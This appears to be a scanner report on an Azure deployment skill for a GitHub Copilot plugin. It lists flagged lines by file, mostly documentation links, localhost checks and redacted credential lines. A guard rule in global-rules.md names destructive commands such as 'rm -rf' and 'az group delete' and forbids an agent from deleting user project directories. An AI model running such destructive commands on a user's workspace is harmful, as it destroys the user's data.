{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 115
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 134
**Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/apim.md
- Access to secretsline 199
[Credential-related source omitted] - Network accessline 209
- [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview) - Network accessline 210
- [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service) - Network accessline 211
- [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management) - Network accessline 212
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/aspire.md
- Network accessline 267
| Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 268
|--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github. - Network accessline 269
| orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 270
| AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy | - Network accessline 271
| AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration | - Network accessline 272
| eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app | - Network accessline 418
- [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/) - Network accessline 419
- [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 420
- [Aspire Samples Repository](https://github.com/dotnet/aspire-samples) - Network accessline 421
- [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/azure-context.md
- Network accessline 121
- Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Referen - Network accessline 122
- Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser - Network accessline 123
- Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/functional-verification.md
- Network accessline 42
│ ├── User says yes │ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar - Network accessline 43
│ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar │ │ └── Static site? → Open in browser, verify rendering - Network accessline 44
│ │ ├── API-only / no UI? → Test endpoints with curl or similar
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource | - Dangerous shell operationline 33
- ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/plan-template.md
- Network accessline 119
- **If quota CLI is NOT supported** (returns `BadRequest`): - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Network accessline 120
- Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Get limit: [Azure service limits documentation](https://l - Network accessline 121
- Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 141
- **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY - Network accessline 142
- Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic - Network accessline 143
- **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/aspire.md
- Network accessline 68
.NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd - Network accessline 106
If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`: - Access to secretsline 117
[Credential-related source omitted] - Network accessline 145
**Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version. - Network accessline 224
- [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/) - Network accessline 225
- [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/) - Network accessline 226
- [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth) - Network accessline 227
- [Samples](https://github.com/dotnet/aspire-samples)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/docker.md
- Access to secretsline 99
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/iac-rules.md
- Network accessline 50
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 51
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 64
> ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique - Network accessline 70
- [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/terraform.md
- Network accessline 478
- [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 479
- [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform) - Network accessline 480
- [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 481
- [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/bicep/patterns.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/research.md
- Network accessline 7
1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** - Network accessline 8
2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros - Network accessline 9
3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/resources-limits-quotas.md
- Network accessline 59
2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 96
| Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h - Network accessline 97
|---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l - Network accessline 98
| **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer - Network accessline 158
|-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man - Network accessline 159
| "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription - Network accessline 160
| "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 210
- **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 211
- [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation - Network accessline 212
- [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/runtimes/nodejs.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 173
# Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 174
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 175
CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 209
if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') { if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Network accessline 210
if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); } - Network accessline 211
return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Access to secretsline 241
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/security.md
- Network accessline 268
- [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview) - Network accessline 269
- [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview) - Network accessline 270
- [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 271
- [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/sku-selection.md
- Network accessline 33
> 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures. - Network accessline 37
Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv - Network accessline 39
Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md
- Network accessline 37
enabled: true registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 38
registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' clientId: appRegistration.properties.appId - Network accessline 39
openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 67
web: { redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 68
redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' ] - Network accessline 69
'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 94
- [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization) - Network accessline 95
- [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/) - Network accessline 96
- [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md
- Network accessline 19
const client = jwksClient({ jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 20
jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 46
algorithms: ["RS256"], audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, - Network accessline 47
audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, }, - Network accessline 48
issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md
- Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
# Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Network accessline 42
algorithms=["RS256"], audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", - Network accessline 43
audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", ) - Network accessline 44
issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md
- Network accessline 33
| Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 34
|---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database | - Network accessline 35
| `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 87
- [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app) - Network accessline 88
- [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started) - Network accessline 89
- [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md
- Network accessline 84
- [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview) - Network accessline 85
- [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication) - Network accessline 86
- [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md
- Network accessline 25
# Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" - Network accessline 26
_REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300 # Refresh 5 minutes before expiry - Network accessline 27
_TOKEN_SCOPE = "https://redis.azure.com/.default" - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md
- Network accessline 79
- [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration) - Network accessline 80
- [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/) - Network accessline 81
- [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md
- Access to secretsline 96
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 61
[Credential-related source omitted] - Network accessline 62
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/selection.md
- Network accessline 7
Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-api.md
- Network accessline 15
**Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 179
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 180
- [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices) - Network accessline 181
- [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-app.md
- Network accessline 14
**Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 106
ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 108
CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 179
- [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore) - Network accessline 180
- [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs) - Network accessline 181
- [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/day2-operations.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/environment.md
- Network accessline 25
{ name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' - Network accessline 26
name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' identity: managedIdentity.id - Network accessline 27
keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/terraform.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/cosmos-db/sdk.md
- Access to secretsline 26
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/README.md
- Network accessline 28
# Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions) - Network accessline 32
# Dashboard available at http://localhost:8082 - Network accessline 49
| Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 50
|-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId - Network accessline 51
| Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 72
- [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab - Network accessline 73
- [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht - Network accessline 74
- [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - Network accessline 75
- [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview) - Network accessline 76
- [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler) - Network accessline 77
- [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md
- Network accessline 65
To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 - Network accessline 82
> **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf - Network accessline 100
> **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview) - Network accessline 20
> **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work - Network accessline 47
"FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 48
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 49
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/java.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java) - Network accessline 27
> **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version. - Network accessline 56
"FUNCTIONS_WORKER_RUNTIME": "java", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 57
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 58
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 204
public class App { public static void main(String[] args) throws Exception { String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"; - Network accessline 206
String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript) - Network accessline 21
> **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "node", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/python.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python) - Network accessline 19
> **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "python", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 194
async def main(): with DurableTaskSchedulerWorker( host_address="http://localhost:8080", - Network accessline 195
with DurableTaskSchedulerWorker( host_address="http://localhost:8080", secure_channel=False, - Network accessline 196
